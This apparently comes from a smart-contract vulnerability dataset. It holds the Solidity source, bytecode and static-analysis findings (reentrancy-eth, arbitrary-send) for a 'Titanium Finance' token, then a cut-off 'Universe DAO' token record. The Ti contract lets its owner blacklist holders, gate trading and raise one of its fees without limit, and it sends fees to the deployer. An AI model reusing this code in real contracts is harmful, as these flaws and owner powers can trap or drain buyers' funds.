uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ti is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titanium Finance";
string private constant _symbol = "Ti";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b39565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611bfe565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611c53565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611c7f565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611cc0565b61073f565b34801561038057600080fd5b5061020761038f366004611ced565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611cc0565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611d08565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611cc0565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d7565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611ced565b610a8f565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611d08565b610aee565b34801561050157600080fd5b50610207610510366004611d21565b610b1d565b34801561052157600080fd5b50610274610530366004611c53565b610b77565b34801561054157600080fd5b50610274610550366004611cc0565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610b84565b34801561058657600080fd5b50610207610595366004611d53565b610bba565b3480156105a657600080fd5b506102d46105b5366004611dd7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611d08565b610c5b565b34801561060c57600080fd5b5061020761061b366004611cc0565b610c8a565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611e10565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611e45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611e71565b915050610656565b5050565b60006106cc338484610d74565b5060015b92915050565b60006106e3848484610e98565b610735843361073085604051806060016040528060288152602001611f8b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d4565b610d74565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611e10565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611e10565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc8161140e565b50565b6001600160a01b0381166000908152600260205260408120546106d090611448565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611e10565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611e10565b6611c37937e0800081116108d257600080fd5b601555565b6000546001600160a01b031633146109015760405162461bcd60e51b815260040161064a90611e10565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611e8c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611e8c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6c9190611e8c565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161064a90611e10565b601454600160a01b900460ff1615610ad057600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b185760405162461bcd60e51b815260040161064a90611e10565b601755565b6000546001600160a01b03163314610b475760405162461bcd60e51b815260040161064a90611e10565b60095482111580610b5a5750600b548111155b610b6357600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610e98565b6012546001600160a01b0316336001600160a01b031614610ba457600080fd5b6000610baf306107ff565b90506107fc816114cc565b6000546001600160a01b03163314610be45760405162461bcd60e51b815260040161064a90611e10565b60005b82811015610c55578160056000868685818110610c0657610c06611e45565b9050602002016020810190610c1b9190611cc0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4d81611e71565b915050610be7565b50505050565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161064a90611e10565b601655565b6000546001600160a01b03163314610cb45760405162461bcd60e51b815260040161064a90611e10565b6001600160a01b038116610d195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b03848116911614801590610fec57506000546001600160a01b03838116911614155b156112cd57601454600160a01b900460ff16611085576000546001600160a01b038481169116146110855760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064a565b6015548111156110d75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064a565b6001600160a01b03831660009081526010602052604090205460ff1615801561111957506001600160a01b03821660009081526010602052604090205460ff16155b6111715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064a565b6014546001600160a01b038381169116146111f65760165481611193846107ff565b61119d9190611ea9565b106111f65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064a565b6000611201306107ff565b60175460155491925082101590821061121a5760155491505b8080156112315750601454600160a81b900460ff16155b801561124b57506014546001600160a01b03868116911614155b80156112605750601454600160b01b900460ff165b801561128557506001600160a01b03851660009081526005602052604090205460ff16155b80156112aa57506001600160a01b03841660009081526005602052604090205460ff16155b156112ca576112b8826114cc565b4780156112c8576112c84761140e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130f57506001600160a01b03831660009081526005602052604090205460ff165b8061134157506014546001600160a01b0385811691161480159061134157506014546001600160a01b03848116911614155b1561134e575060006113c8565b6014546001600160a01b03858116911614801561137957506013546001600160a01b03848116911614155b1561138b57600854600c55600954600d555b6014546001600160a01b0384811691161480156113b657506013546001600160a01b03858116911614155b156113c857600a54600c55600b54600d555b610c5584848484611646565b600081848411156113f85760405162461bcd60e51b815260040161064a9190611bfe565b5060006114058486611ec1565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156114af5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b60006114b9611674565b90506114c58382611697565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151457611514611e45565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115919190611e8c565b816001815181106115a4576115a4611e45565b6001600160a01b0392831660209182029290920101526013546115ca9130911684610d74565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611603908590600090869030904290600401611ed8565b600060405180830381600087803b15801561161d57600080fd5b505af1158015611631573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611653576116536116d9565b61165e848484611707565b80610c5557610c55600e54600c55600f54600d55565b60008060006116816117fe565b90925090506116908282611697565b9250505090565b60006114c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611840565b600c541580156116e95750600d54155b156116f057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806117198761186e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174b90876118cb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177a908661190d565b6001600160a01b03891660009081526002602052604090205561179c8161196c565b6117a684836119b6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117eb91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061181a8282611697565b82101561183757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118615760405162461bcd60e51b815260040161064a9190611bfe565b5060006114058486611f49565b600080600080600080600080600061188b8a600c54600d546119da565b925092509250600061189b611674565b905060008060006118ae8e878787611a2f565b919e509c509a509598509396509194505050505091939550919395565b60006114c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d4565b60008061191a8385611ea9565b9050838110156114c55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611976611674565b905060006119848383611a7f565b306000908152600260205260409020549091506119a1908261190d565b30600090815260026020526040902055505050565b6006546119c390836118cb565b6006556007546119d3908261190d565b6007555050565b60008080806119f460646119ee8989611a7f565b90611697565b90506000611a0760646119ee8a89611a7f565b90506000611a1f82611a198b866118cb565b906118cb565b9992985090965090945050505050565b6000808080611a3e8886611a7f565b90506000611a4c8887611a7f565b90506000611a5a8888611a7f565b90506000611a6c82611a1986866118cb565b939b939a50919850919650505050505050565b600082611a8e575060006106d0565b6000611a9a8385611f6b565b905082611aa78583611f49565b146114c55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611b3481611b14565b919050565b60006020808385031215611b4c57600080fd5b823567ffffffffffffffff80821115611b6457600080fd5b818501915085601f830112611b7857600080fd5b813581811115611b8a57611b8a611afe565b8060051b604051601f19603f83011681018181108582111715611baf57611baf611afe565b604052918252848201925083810185019188831115611bcd57600080fd5b938501935b82851015611bf257611be385611b29565b84529385019392850192611bd2565b98975050505050505050565b600060208083528351808285015260005b81811015611c2b57858101830151858201604001528201611c0f565b81811115611c3d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6657600080fd5b8235611c7181611b14565b946020939093013593505050565b600080600060608486031215611c9457600080fd5b8335611c9f81611b14565b92506020840135611caf81611b14565b929592945050506040919091013590565b600060208284031215611cd257600080fd5b81356114c581611b14565b80358015158114611b3457600080fd5b600060208284031215611cff57600080fd5b6114c582611cdd565b600060208284031215611d1a57600080fd5b5035919050565b60008060008060808587031215611d3757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6857600080fd5b833567ffffffffffffffff80821115611d8057600080fd5b818601915086601f830112611d9457600080fd5b813581811115611da357600080fd5b8760208260051b8501011115611db857600080fd5b602092830195509350611dce9186019050611cdd565b90509250925092565b60008060408385031215611dea57600080fd5b8235611df581611b14565b91506020830135611e0581611b14565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8557611e85611e5b565b5060010190565b600060208284031215611e9e57600080fd5b81516114c581611b14565b60008219821115611ebc57611ebc611e5b565b500190565b600082821015611ed357611ed3611e5b565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f285784516001600160a01b031683529383019391830191600101611f03565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8557611f85611e5b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086863a93f07a1af851e67fe8b9731013869109e5069aad1ce7e2d3479170968264736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,892 |
0x5c42b881565861b067df178a64edc57f2e2ae16e | /**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
The ultimate secret of the universe is 42
We selected 42 community leaders, each contributing 0.7 ETH, to permanently dedicate to LP, they have no tokens, only to win dividends.
Why are we doing this? Because there is no end to attempts at decentralization.
liquidity: 24 eth
Supply: 42,000,000,000
Max buy: 210,000,000
Buy: 4% fee
Sell: 8% fee
We will renounce ownership and lock liquidity soon after launch.
https://twitter.com/eth_42
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ULTIMATE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Universe DAO";
string private constant _symbol = "42";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 42000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xb9119D263E59fa132FFD9f675b3a2fB56D7De723);
address payable private _marketingAddress = payable(0xb9119D263E59fa132FFD9f675b3a2fB56D7De723);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 210000000 * 10**9;//0.5% max txn
uint256 public _maxWalletSize = 420000000 * 10**9;//1% max wallet
uint256 public _swapTokensAtAmount = 100 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
